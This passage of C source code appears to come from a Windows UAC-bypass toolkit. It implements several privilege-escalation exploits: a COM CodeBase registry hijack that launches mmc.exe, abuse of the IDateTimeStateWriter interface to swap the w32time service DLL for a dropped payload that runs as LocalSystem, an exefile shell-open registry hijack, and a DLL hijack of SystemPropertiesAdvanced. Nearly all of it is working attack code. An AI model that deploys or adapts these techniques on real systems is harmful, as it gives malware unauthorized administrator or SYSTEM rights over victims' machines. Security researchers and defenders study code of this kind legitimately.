if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set CodeBase value.
|
|
//
|
|
RtlSecureZeroMemory(szConvertedName, sizeof(szConvertedName));
|
|
_strcpy(szConvertedName, T_FILE_PREP);
|
|
|
|
s = szBuffer;
|
|
d = _strend(szConvertedName);
|
|
|
|
while (*s != 0) {
|
|
if (*s == L'\\') {
|
|
*d = L'/';
|
|
d++;
|
|
*d = L'/';
|
|
d++;
|
|
}
|
|
else {
|
|
*d = *s;
|
|
d++;
|
|
}
|
|
s++;
|
|
}
|
|
|
|
lResult = ERROR_ACCESS_DENIED;
|
|
|
|
switch (g_ctx->MethodExecuteType) {
|
|
|
|
case ucmExTypeIndirectModification:
|
|
|
|
if (supIndirectRegAdd(REG_HKCU,
|
|
szKey,
|
|
T_CODEBASE,
|
|
T_REG_SZ,
|
|
szConvertedName))
|
|
{
|
|
lResult = ERROR_SUCCESS;
|
|
}
|
|
|
|
break;
|
|
|
|
case ucmExTypeDefault:
|
|
default:
|
|
cbData = (DWORD)((1 + _strlen(szConvertedName)) * sizeof(WCHAR));
|
|
lResult = RegSetValueEx(
|
|
SourceKey,
|
|
T_CODEBASE,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)szConvertedName,
|
|
cbData);
|
|
break;
|
|
}
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
RegCloseKey(SourceKey);
|
|
SourceKey = NULL;
|
|
|
|
_strcpy(szKey, T_REG_SOFTWARECLASSESCLSID);
|
|
_strcat(szKey, T_MMCFrameworkSnapInFactory);
|
|
_strcat(szKey, T_REG_INPROCSERVER32);
|
|
_strcat(szKey, TEXT("\\3.0.0.0"));
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKey, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &SourceKey, NULL);
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
lResult = ERROR_ACCESS_DENIED;
|
|
|
|
switch (g_ctx->MethodExecuteType) {
|
|
|
|
case ucmExTypeIndirectModification:
|
|
|
|
if (supIndirectRegAdd(REG_HKCU,
|
|
szKey,
|
|
T_CODEBASE,
|
|
T_REG_SZ,
|
|
szConvertedName))
|
|
{
|
|
lResult = ERROR_SUCCESS;
|
|
}
|
|
|
|
break;
|
|
|
|
case ucmExTypeDefault:
|
|
default:
|
|
//
|
|
// Set CodeBase value.
|
|
// cbData unchanged.
|
|
//
|
|
lResult = RegSetValueEx(
|
|
SourceKey,
|
|
T_CODEBASE,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)szConvertedName,
|
|
cbData);
|
|
break;
|
|
}
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set Assembly value.
|
|
//
|
|
cbData = (DWORD)((1 + _strlen(T_FUJINAMI_ASSEMBLY)) * sizeof(WCHAR));
|
|
lResult = RegSetValueEx(
|
|
SourceKey,
|
|
T_ASSEMBLY,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)T_FUJINAMI_ASSEMBLY,
|
|
cbData);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set Class value.
|
|
//
|
|
cbData = (DWORD)((1 + _strlen(T_FUJINAMI_CLASS)) * sizeof(WCHAR));
|
|
lResult = RegSetValueEx(
|
|
SourceKey,
|
|
T_CLASS,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)T_FUJINAMI_CLASS,
|
|
cbData);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
RegCloseKey(SourceKey);
|
|
SourceKey = NULL;
|
|
|
|
//
|
|
// Run target.
|
|
//
|
|
if (supRunProcess(MMC_EXE, EVENTVWR_MSC))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
if (SourceKey != NULL) RegCloseKey(SourceKey);
|
|
if (DestKey != NULL) RegCloseKey(DestKey);
|
|
|
|
if (bNeedCleanup) {
|
|
_strcpy(szKey, T_REG_SOFTWARECLASSESCLSID);
|
|
_strcat(szKey, T_MMCFrameworkSnapInFactory);
|
|
supRegDeleteKeyRecursive(HKEY_CURRENT_USER, szKey);
|
|
}
|
|
if (bRemoveFile) {
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, FUJINAMI_DLL);
|
|
DeleteFile(szBuffer);
|
|
}
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmxSetResetW32TimeSvcParams
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Set or reset to original w32time service params.
|
|
*
|
|
*/
|
|
BOOL ucmxSetResetW32TimeSvcParams(
|
|
_In_ ISLLUACOM *SPLuaObject,
|
|
_In_opt_ LPWSTR lpServiceDll,
|
|
_In_ BOOL Set
|
|
)
|
|
{
|
|
HRESULT hr;
|
|
|
|
PWSTR Ptr;
|
|
|
|
PWSTR RequiredPrivileges =
|
|
L"SeAssignPrimaryTokenPrivilege\0SeImpersonatePrivilege\0SeDebugPrivilege\0SeTcbPrivilege\0\0";
|
|
|
|
PWSTR RequiredPrivilegesDefault =
|
|
L"SeAuditPrivilege\0SeChangeNotifyPrivilege\0SeCreateGlobalPrivilege\0SeSystemTimePrivilege\0\0";
|
|
|
|
PWSTR PrivSet, pServiceDll, pImagePath;
|
|
|
|
ULONG DataSize, Length, ServiceType;
|
|
|
|
WCHAR szLocal[MAX_PATH], szServiceDll[MAX_PATH];
|
|
|
|
RtlSecureZeroMemory(szLocal, sizeof(szLocal));
|
|
RtlSecureZeroMemory(szServiceDll, sizeof(szServiceDll));
|
|
|
|
if (Set) {
|
|
if (lpServiceDll == NULL)
|
|
return FALSE;
|
|
|
|
pServiceDll = lpServiceDll;
|
|
PrivSet = RequiredPrivileges;
|
|
_strcpy(szLocal, OBJECT_LOCALSYSTEM);
|
|
}
|
|
else {
|
|
_strcpy(szServiceDll, L"%systemroot%\\system32\\w32time.dll");
|
|
pServiceDll = szServiceDll;
|
|
PrivSet = RequiredPrivilegesDefault;
|
|
_strcpy(szLocal, OBJECT_LOCALSERVICE);
|
|
}
|
|
|
|
//
|
|
// Set RequiredPrivileges.
|
|
//
|
|
Ptr = PrivSet;
|
|
DataSize = 0;
|
|
|
|
while (*Ptr) {
|
|
Length = (ULONG)_strlen(Ptr) + 1;
|
|
Ptr = Ptr + Length;
|
|
DataSize += Length;
|
|
}
|
|
|
|
DataSize = (DataSize * sizeof(WCHAR)) + sizeof(UNICODE_NULL);
|
|
hr = ucmSPLUAObjectRegSetValue(
|
|
SPLuaObject,
|
|
SSLUA_HKEY_LOCAL_MACHINE,
|
|
W32TIME_SERVICE_PATH,
|
|
SVC_REQ_PRIVS,
|
|
REG_MULTI_SZ,
|
|
PrivSet,
|
|
DataSize);
|
|
|
|
if (SUCCEEDED(hr)) {
|
|
|
|
//
|
|
// Set ObjectName.
|
|
//
|
|
|
|
DataSize = (ULONG)((1 + _strlen(szLocal)) * sizeof(WCHAR));
|
|
hr = ucmSPLUAObjectRegSetValue(
|
|
SPLuaObject,
|
|
SSLUA_HKEY_LOCAL_MACHINE,
|
|
W32TIME_SERVICE_PATH,
|
|
SVC_OBJECT_NAME,
|
|
REG_SZ,
|
|
szLocal,
|
|
DataSize);
|
|
|
|
if (SUCCEEDED(hr)) {
|
|
|
|
//
|
|
// Set ServiceDll.
|
|
//
|
|
if (g_ctx->dwBuildNumber >= 10240) {
|
|
DataSize = (ULONG)((1 + _strlen(pServiceDll)) * sizeof(WCHAR));
|
|
hr = ucmSPLUAObjectRegSetValue(
|
|
SPLuaObject,
|
|
SSLUA_HKEY_LOCAL_MACHINE,
|
|
W32TIME_SERVICE_PARAMETERS,
|
|
SVC_SERVICE_DLL,
|
|
REG_EXPAND_SZ,
|
|
pServiceDll,
|
|
DataSize);
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
//
|
|
// Running in EXE mode.
|
|
//
|
|
if (g_ctx->dwBuildNumber <= 9600) {
|
|
|
|
if (Set) {
|
|
ServiceType = SERVICE_WIN32_OWN_PROCESS;
|
|
pImagePath = pServiceDll;
|
|
}
|
|
else {
|
|
ServiceType = SERVICE_WIN32_SHARE_PROCESS;
|
|
pImagePath = L"%SystemRoot%\\system32\\svchost.exe -k LocalService";
|
|
}
|
|
|
|
//
|
|
// Set service type.
|
|
//
|
|
|
|
DataSize = sizeof(ULONG);
|
|
|
|
hr = ucmSPLUAObjectRegSetValue(
|
|
SPLuaObject,
|
|
SSLUA_HKEY_LOCAL_MACHINE,
|
|
W32TIME_SERVICE_PATH,
|
|
SVC_TYPE,
|
|
REG_DWORD,
|
|
(PVOID)&ServiceType,
|
|
DataSize);
|
|
|
|
if (SUCCEEDED(hr)) {
|
|
|
|
//
|
|
// Set service imagepath.
|
|
//
|
|
DataSize = (ULONG)((1 + _strlen(pImagePath)) * sizeof(WCHAR));
|
|
hr = ucmSPLUAObjectRegSetValue(
|
|
SPLuaObject,
|
|
SSLUA_HKEY_LOCAL_MACHINE,
|
|
W32TIME_SERVICE_PATH,
|
|
SVC_IMAGE_PATH,
|
|
REG_EXPAND_SZ,
|
|
pImagePath,
|
|
DataSize);
|
|
}
|
|
}
|
|
|
|
return SUCCEEDED(hr);
|
|
}
|
|
|
|
/*
|
|
* ucmxTrackService
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Track service state.
|
|
*
|
|
*/
|
|
DWORD ucmxTrackService()
|
|
{
|
|
SC_HANDLE schManager, schService;
|
|
|
|
SERVICE_STATUS_PROCESS Status;
|
|
|
|
ULONG dummy, svcstate = 0;
|
|
|
|
schManager = OpenSCManager(
|
|
NULL,
|
|
NULL,
|
|
SC_MANAGER_CONNECT);
|
|
|
|
if (schManager) {
|
|
|
|
schService = OpenService(
|
|
schManager,
|
|
W32TIME_SERVICE_NAME,
|
|
SERVICE_QUERY_STATUS);
|
|
|
|
if (schService) {
|
|
|
|
if (QueryServiceStatusEx(
|
|
schService,
|
|
SC_STATUS_PROCESS_INFO,
|
|
(LPBYTE)&Status,
|
|
sizeof(Status),
|
|
&dummy))
|
|
{
|
|
svcstate = Status.dwCurrentState;
|
|
}
|
|
|
|
CloseServiceHandle(schService);
|
|
}
|
|
CloseServiceHandle(schManager);
|
|
}
|
|
|
|
return svcstate;
|
|
}
|
|
|
|
/*
|
|
* ucmDateTimeStateWriterMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Exploit IDateTimeStateWriter undocumented COM interface which allows
|
|
* elevated start/stop control over w32time service.
|
|
*
|
|
* Used in with deroko method which provide elevated RegSetValueEx functionality.
|
|
*
|
|
* Fixed in Windows 10 RS5.
|
|
*
|
|
*/
|
|
NTSTATUS ucmDateTimeStateWriterMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
ULONG I, svcstate;
|
|
HRESULT hr, hr_init;
|
|
HANDLE hSvcStopEvent = NULL;
|
|
IDateTimeStateWriter *Dtsw = NULL;
|
|
ISLLUACOM *SPLuaObject = NULL;
|
|
|
|
UNICODE_STRING usSignalEvent = RTL_CONSTANT_STRING(SIGNAL_OBJECT);
|
|
|
|
OBJECT_ATTRIBUTES obja;
|
|
|
|
LARGE_INTEGER liDueTime;
|
|
|
|
WCHAR szServiceBinary[MAX_PATH * 2];
|
|
|
|
RtlSecureZeroMemory(szServiceBinary, sizeof(szServiceBinary));
|
|
|
|
//
|
|
// Drop payload to %temp%.
|
|
//
|
|
if (g_ctx->dwBuildNumber >= 10240) {
|
|
_strcpy(szServiceBinary, g_ctx->szTempDirectory);
|
|
_strcat(szServiceBinary, W32TIME_DLL);
|
|
if (!supWriteBufferToFile(szServiceBinary, ProxyDll, ProxyDllSize))
|
|
return MethodResult;
|
|
}
|
|
else {
|
|
|
|
if (supReplaceDllEntryPoint(
|
|
ProxyDll,
|
|
ProxyDllSize,
|
|
CHIYODA_EXT_ENTRYPOINT,
|
|
TRUE) == FALSE)
|
|
{
|
|
return MethodResult;
|
|
}
|
|
|
|
_strcpy(szServiceBinary, g_ctx->szTempDirectory);
|
|
_strcat(szServiceBinary, MYSTERIOUSCUTETHING);
|
|
_strcat(szServiceBinary, L".exe");
|
|
if (!supWriteBufferToFile(szServiceBinary, ProxyDll, ProxyDllSize))
|
|
return MethodResult;
|
|
}
|
|
|
|
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
|
|
do {
|
|
|
|
//
|
|
// Create ping back notification event in nonsignaled state.
|
|
//
|
|
InitializeObjectAttributes(&obja, &usSignalEvent, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
if (!NT_SUCCESS(NtCreateEvent(
|
|
&hSvcStopEvent,
|
|
EVENT_ALL_ACCESS,
|
|
&obja,
|
|
NotificationEvent,
|
|
FALSE)))
|
|
{
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Allocate SPLuaObject.
|
|
//
|
|
hr = ucmAllocateElevatedObject(
|
|
T_CLSID_SPPLUAObject,
|
|
&IID_ISPPLUAObject,
|
|
CLSCTX_LOCAL_SERVER,
|
|
&SPLuaObject);
|
|
|
|
if (hr != S_OK)
|
|
break;
|
|
|
|
//
|
|
// Allocate DateTimeStateWriter.
|
|
//
|
|
hr = ucmAllocateElevatedObject(
|
|
T_CLSID_DateTimeStateWriter,
|
|
&IID_DateTimeStateWriter,
|
|
CLSCTX_LOCAL_SERVER,
|
|
&Dtsw);
|
|
|
|
if (hr != S_OK)
|
|
break;
|
|
|
|
//
|
|
// Stop and Disable w32time.
|
|
//
|
|
hr = Dtsw->lpVtbl->StopAndDisableService(Dtsw);
|
|
if (hr != S_OK)
|
|
break;
|
|
|
|
Sleep(1000);
|
|
|
|
if (!ucmxSetResetW32TimeSvcParams(
|
|
SPLuaObject,
|
|
szServiceBinary,
|
|
TRUE))
|
|
{
|
|
break;
|
|
}
|
|
|
|
I = 5;
|
|
|
|
do {
|
|
supDbgMsg(L"app>>svc start try");
|
|
|
|
hr = Dtsw->lpVtbl->StartServiceAndRefresh(Dtsw, 0);
|
|
if (hr != S_OK)
|
|
break;
|
|
|
|
svcstate = ucmxTrackService();
|
|
|
|
if ((svcstate == SERVICE_RUNNING) ||
|
|
(svcstate == SERVICE_START_PENDING))
|
|
{
|
|
supDbgMsg(L"app>>started");
|
|
break;
|
|
}
|
|
|
|
Sleep(1000);
|
|
--I;
|
|
|
|
} while (I);
|
|
|
|
if (FAILED(hr)) {
|
|
supDbgMsg(L"app>>StartServiceAndRefresh failed");
|
|
ucmxSetResetW32TimeSvcParams(SPLuaObject, NULL, FALSE);
|
|
break;
|
|
}
|
|
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
//
|
|
// Wait some time for ping back.
|
|
// We can't exit without ping back because:
|
|
// - IPC link will be destroyed
|
|
// - Payload cannot normally run
|
|
//
|
|
supDbgMsg(L"app>>waiting for an event\r\n");
|
|
liDueTime.QuadPart = -(LONGLONG)UInt32x32To64(20000, 10000);
|
|
NtWaitForSingleObject(hSvcStopEvent, FALSE, &liDueTime);
|
|
supDbgMsg(L"app>>wait complete\r\n");
|
|
|
|
} while (FALSE);
|
|
|
|
if (hSvcStopEvent)
|
|
NtClose(hSvcStopEvent);
|
|
|
|
if (SPLuaObject)
|
|
SPLuaObject->lpVtbl->Release(SPLuaObject);
|
|
|
|
if (Dtsw)
|
|
Dtsw->lpVtbl->Release(Dtsw);
|
|
|
|
if (hr_init == S_OK)
|
|
CoUninitialize();
|
|
|
|
DeleteFile(szServiceBinary);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmAcCplAdminMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using registry HKCU\Software\Classes\exefile\shell\open hijack and AccessibilityCplAdmin elevated launch.
|
|
*
|
|
* Fixed in Windows 10 RS4
|
|
*
|
|
*/
|
|
NTSTATUS ucmAcCplAdminMethod(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
BOOL bValueSet = FALSE;
|
|
IAccessibilityCplAdmin *AdminElevate = NULL;
|
|
HRESULT hr = E_FAIL, hr_init;
|
|
HKEY hKey = NULL;
|
|
DWORD cbData = 0, dwDisposition = 0;
|
|
WCHAR szKeyName[MAX_PATH];
|
|
|
|
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
|
|
_strcpy(szKeyName, T_EXEFILE_SHELL);
|
|
_strcat(szKeyName, T_SHELL_OPEN_COMMAND);
|
|
|
|
hr = ucmAllocateElevatedObject(
|
|
T_CLSID_AcCplAdmin,
|
|
&IID_IAccessibilityCplAdmin,
|
|
CLSCTX_LOCAL_SERVER,
|
|
&AdminElevate);
|
|
|
|
if (SUCCEEDED(hr)) {
|
|
|
|
if (ERROR_SUCCESS == RegCreateKeyEx(
|
|
HKEY_CURRENT_USER,
|
|
szKeyName,
|
|
0,
|
|
NULL,
|
|
REG_OPTION_NON_VOLATILE,
|
|
MAXIMUM_ALLOWED,
|
|
NULL,
|
|
&hKey,
|
|
&dwDisposition))
|
|
{
|
|
cbData = (DWORD)((1 + _strlen(lpszPayload)) * sizeof(WCHAR));
|
|
|
|
if (ERROR_SUCCESS == RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0, REG_SZ,
|
|
(BYTE*)lpszPayload,
|
|
cbData))
|
|
{
|
|
RegFlushKey(hKey);
|
|
RegCloseKey(hKey);
|
|
|
|
bValueSet = TRUE;
|
|
|
|
hr = AdminElevate->lpVtbl->LinktoSystemRestorePoint(AdminElevate);
|
|
if (SUCCEEDED(hr))
|
|
MethodResult = STATUS_SUCCESS;
|
|
}
|
|
else {
|
|
RegCloseKey(hKey);
|
|
}
|
|
}
|
|
AdminElevate->lpVtbl->Release(AdminElevate);
|
|
}
|
|
|
|
if (dwDisposition == REG_CREATED_NEW_KEY) {
|
|
supRegDeleteKeyRecursive(
|
|
HKEY_CURRENT_USER,
|
|
T_EXEFILE_SHELL);
|
|
}
|
|
else {
|
|
if (bValueSet) {
|
|
supDeleteKeyValueAndFlushKey(
|
|
HKEY_CURRENT_USER,
|
|
szKeyName,
|
|
TEXT(""));
|
|
}
|
|
}
|
|
|
|
if (hr_init == S_OK)
|
|
CoUninitialize();
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmEgre55Method
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by DLL hijack of SystemProperties* commands.
|
|
* Original author link: https://egre55.github.io/system-properties-uac-bypass/
|
|
*
|
|
* Note:
|
|
*
|
|
* This code expects to work under wow64 only because of uacme restrictions.
|
|
* However you can extent it to force drop your *32* bit dll from your *64* bit application.
|
|
*
|
|
* Fixed in Windows 10 19H1
|
|
*
|
|
*/
|
|
NTSTATUS ucmEgre55Method(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
PWSTR pTmp = NULL, lpDest = NULL;
|
|
|
|
SIZE_T Length;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
if (FAILED(SHGetKnownFolderPath(&FOLDERID_LocalAppData, KF_FLAG_DEFAULT, NULL, (PWSTR*)&pTmp)))
|
|
break;
|
|
|
|
Length = _strlen(pTmp);
|
|
if (Length == 0)
|
|
break;
|
|
|
|
Length = (MAX_PATH + Length) * sizeof(WCHAR);
|
|
lpDest = (PWSTR)supHeapAlloc(Length);
|
|
if (lpDest == NULL)
|
|
break;
|
|
|
|
_strcpy(lpDest, pTmp);
|
|
_strcat(lpDest, TEXT("\\Microsoft\\WindowsApps\\"));
|
|
_strcat(lpDest, SRRSTR_DLL);
|
|
|
|
if (!supWriteBufferToFile(lpDest, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, SYSTEMROPERTIESADVANCED_EXE);
|
|
if (supRunProcess(szBuffer, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
DeleteFile(lpDest);
|
|
|
|
} while (FALSE);
|
|
|
|
if (pTmp) CoTaskMemFree((LPVOID)pTmp);
|
|
if (lpDest) supHeapFree(lpDest);
|
|
|
|
return MethodResult;
|
|
}
|